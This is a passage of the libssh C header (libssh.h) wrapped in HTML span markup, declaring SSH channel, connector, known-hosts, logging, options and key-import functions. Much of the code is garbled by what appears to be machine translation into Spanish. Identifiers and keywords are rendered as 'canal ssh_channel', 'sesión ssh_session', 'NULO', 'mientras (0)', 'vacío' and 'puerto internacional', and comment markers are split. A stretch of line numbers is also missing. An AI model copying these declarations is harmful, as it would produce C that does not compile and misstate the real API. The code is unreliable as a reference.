ssh_channel_is_closed </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>451 LIBSSH_API int ssh_channel_is_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>452 LIBSSH_API int ssh_channel_is_open </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>453 LIBSSH_API ssh_channel ssh_channel_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>454 LIBSSH_API int ssh_channel_open_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>455 LIBSSH_API int ssh_channel_open_forward </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * host remoto,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>456 int puerto remoto, const char </span> <span style='color:#00c4c4; '>* sourcehost, int localport);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>457 LIBSSH_API int ssh_channel_open_session </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>458 LIBSSH_API int ssh_channel_open_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * orig_addr, </span> <span style='color:#00c4c4; '>int orig_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>459 LIBSSH_API int ssh_channel_poll </span> <span style='color:#00c4c4; '>( canal ssh_channel , int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>460 LIBSSH_API int ssh_channel_poll_timeout </span> <span style='color:#00c4c4; '>( canal ssh_channel , int timeout, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>461 LIBSSH_API int ssh_channel_read </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t </span> <span style='color:#00c4c4; '>count, int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>462 LIBSSH_API int ssh_channel_read_timeout </span> <span style='color:#00c4c4; '>( ssh_channel channel, void * dest, </span> <span style='color:#00c4c4; '>uint32_t count, int is_stderr, int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>463 LIBSSH_API int ssh_channel_read_nonblocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , void * dest, uint32_t count,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>464 int is_stderr);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>465 LIBSSH_API int ssh_channel_request_env </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * nombre, const char </span> <span style='color:#00c4c4; '>* valor);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>466 LIBSSH_API int ssh_channel_request_exec </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * cmd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>467 LIBSSH_API int ssh_channel_request_pty </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>468 LIBSSH_API int ssh_channel_request_pty_size </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * term,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>469 int cols, int filas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>470 LIBSSH_API int ssh_channel_request_shell </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>471 LIBSSH_API int ssh_channel_request_send_signal </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * signum);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>472 LIBSSH_API int ssh_channel_request_send_break </span> <span style='color:#00c4c4; '>( ssh_channel canal, longitud uint32_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>473 LIBSSH_API int ssh_channel_request_sftp </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>474 LIBSSH_API int ssh_channel_request_subsystem </span> <span style='color:#00c4c4; '>( canal ssh_channel , const char * subsistema);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>475 LIBSSH_API int ssh_channel_request_x11 </span> <span style='color:#00c4c4; '>( canal ssh_channel , int single_connection, </span> <span style='color:#00c4c4; '>const char * protocolo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>476 const char * cookie, int número_pantalla);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>477 LIBSSH_API int ssh_channel_request_auth_agent </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>478 LIBSSH_API int ssh_channel_send_eof </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>479 LIBSSH_API int ssh_channel_select </span> <span style='color:#00c4c4; '>( ssh_channel * readchans, ssh_channel * </span> <span style='color:#00c4c4; '>writechans, ssh_channel * exceptchans, struct</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>480 timeval * tiempo de espera);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>481 LIBSSH_API void ssh_channel_set_blocking </span> <span style='color:#00c4c4; '>( canal ssh_channel , bloqueo int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>482 LIBSSH_API void ssh_channel_set_counter </span> <span style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>483 contador ssh_counter );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>484 LIBSSH_API int ssh_channel_write </span> <span style='color:#00c4c4; '>( canal ssh_channel , const void * datos, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>485 LIBSSH_API int ssh_channel_write_stderr </span> <span style='color:#00c4c4; '>( canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>486 const void * datos,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>487 uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>488 LIBSSH_API uint32_t ssh_channel_window_size </span> <span style='color:#00c4c4; '>( canal ssh_channel );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>489 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>490 LIBSSH_API char * ssh_basename </span> <span style='color:#00c4c4; '>( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>491 LIBSSH_API void ssh_clean_pubkey_hash (</span> <span style='color:#00c4c4; '> carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>492 LIBSSH_API int ssh_connect ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>493 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>494 LIBSSH_API ssh_connector ssh_connector_new </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>495 LIBSSH_API void ssh_connector_free </span> <span style='color:#00c4c4; '>( conector ssh_connector );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>496 LIBSSH_API int ssh_connector_set_in_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>497 canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>498 enum ssh_connector_flags_e banderas);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>499 LIBSSH_API int ssh_connector_set_out_channel </span> <span style='color:#00c4c4; '>( conector ssh_connector ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>500 canal ssh_channel ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>501 enum ssh_connector_flags_e flags);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>502 LIBSSH_API void ssh_connector_set_in_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>503 LIBSSH_API vacío ssh_connector_set_out_fd </span> <span style='color:#00c4c4; '>( ssh_connector conector, fd socket_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>504 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>505 LIBSSH_API const char * ssh_copyright ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>506 LIBSSH_API void ssh_disconnect </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>507 LIBSSH_API char * ssh_dirname ( const char * ruta);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>508 LIBSSH_API int ssh_finalize ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>509 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>510 / * REENVÍO DE PUERTO INVERSO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>511 LIBSSH_API ssh_channel ssh_channel_accept_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>512 int timeout_ms,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>513 int * puerto_destino);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>514 LIBSSH_API int ssh_channel_cancel_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>515 const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>516 int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>517 LIBSSH_API int ssh_channel_listen_forward </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>518 const char * dirección,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>519 puerto internacional ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>520 int * puerto_delimitado);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>521 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>522 LIBSSH_API void ssh_free ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>523 LIBSSH_API const char * ssh_get_disconnect_message </span> <span style='color:#00c4c4; '> ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>524 LIBSSH_API const char * ssh_get_error </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>525 LIBSSH_API int ssh_get_error_code </span> <span style='color:#00c4c4; '>( void * error);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>526 LIBSSH_API socket_t ssh_get_fd </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>527 LIBSSH_API char * ssh_get_hexa </span> <span style='color:#00c4c4; '>( const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>528 LIBSSH_API char * ssh_get_issue_banner </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>529 LIBSSH_API int ssh_get_openssh_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>530 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>531 LIBSSH_API int ssh_get_server_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>532 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>533 enum ssh_publickey_hash_type {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>534 SSH_PUBLICKEY_HASH_SHA1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>535 SSH_PUBLICKEY_HASH_MD5,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>536 SSH_PUBLICKEY_HASH_SHA256</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>537 };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>538 LIBSSH_API int ssh_get_publickey_hash </span> <span style='color:#00c4c4; '>( clave const ssh_key ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>539 enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>540 char ** hash sin firmar ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>541 size_t * HLEN);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>542 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>543 / * FUNCIONES ANULADAS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash </span> <span style='color:#00c4c4; '>( sesión ssh_session , carácter sin firmar ** hash);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>545 SSH_DEPRECATED LIBSSH_API ssh_channel </span> <span style='color:#00c4c4; '>ssh_forward_accept ( sesión ssh_session , int timeout_ms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen </span> <span style='color:#00c4c4; '>( sesión ssh_session , const char * dirección, int puerto, int * bound_port);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey </span> <span style='color:#00c4c4; '>( ssh_session sesión, clave ssh tecla *);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>553 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>554 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>555 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>556 LIBSSH_API int ssh_get_random </span> <span style='color:#00c4c4; '>( void * donde, int len, int fuerte);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>557 LIBSSH_API int ssh_get_version </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>558 LIBSSH_API int ssh_get_status </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>559 LIBSSH_API int ssh_get_poll_flags </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>560 LIBSSH_API int ssh_init ( vacío );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>561 LIBSSH_API int ssh_is_blocking </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>562 LIBSSH_API int ssh_is_connected </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>563 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>564 / * HOSTS CONOCIDOS * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>565 LIBSSH_API void ssh_knownhosts_entry_free </span> <span style='color:#00c4c4; '>( struct ssh_knownhosts_entry * entrada);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>567 si ((e)! = NULO) {\</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>568 ssh_knownhosts_entry_free (e); \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>569 e = NULO; \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>570 } \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>571 } mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>572 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>573 LIBSSH_API int ssh_known_hosts_parse_line </span> <span style='color:#00c4c4; '>( const char * host,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>574 const char * línea,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>575 entrada struct ssh_knownhosts_entry **);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>576 LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_has_known_hosts_entry ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>577 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>578 LIBSSH_API int ssh_session_export_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>579 Char ** pentry_string);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>580 LIBSSH_API int ssh_session_update_known_hosts </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>581 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>582 LIBSSH_API enumeración ssh_known_hosts_e</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>583 ssh_session_get_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>584 struct ssh_knownhosts_entry ** pentry);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>585 LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_is_known_server ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>586 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>587 / * REGISTRO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>588 LIBSSH_API int ssh_set_log_level ( nivel int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>589 LIBSSH_API int ssh_get_log_level ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>590 LIBSSH_API void * ssh_get_log_userdata ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>591 LIBSSH_API int ssh_set_log_userdata ( void * datos);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>592 LIBSSH_API void _ssh_log ( int verbosidad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>593 const char * función ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>595 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>596 / * legado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>597 SSH_DEPRECATED LIBSSH_API void ssh_log </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>598 int prioridad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>600 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>602 LIBSSH_API int ssh_message_channel_request_reply_success </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>603 #define SSH_MESSAGE_FREE (x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>605 LIBSSH_API void ssh_message_free ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>607 LIBSSH_API int ssh_message_subtype ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>608 LIBSSH_API int ssh_message_type ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>610 LIBSSH_API ssh_session ssh_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>611 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>616 const void *value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>618 char **value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>624 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>639 int echo, int verify, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>640 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>641 LIBSSH_API ssh_key ssh_key_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>642 #define SSH_KEY_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>644 LIBSSH_API void ssh_key_free (ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>648 LIBSSH_API int ssh_key_is_public(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>649 LIBSSH_API int ssh_key_is_private(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>650 LIBSSH_API int ssh_key_cmp(const ssh_key k1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>651 const ssh_key k2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>652 enum ssh_keycmp_e what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>653 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>655 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>657 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>658 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>659 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>660 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>662 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>663 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>664 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>665 char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>667 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>668 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>669 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>670 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>672 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>673 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>674 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>675 const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>676 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>678 ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>679 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>681 enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>682 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>684 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>685 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>687 enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>688 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> 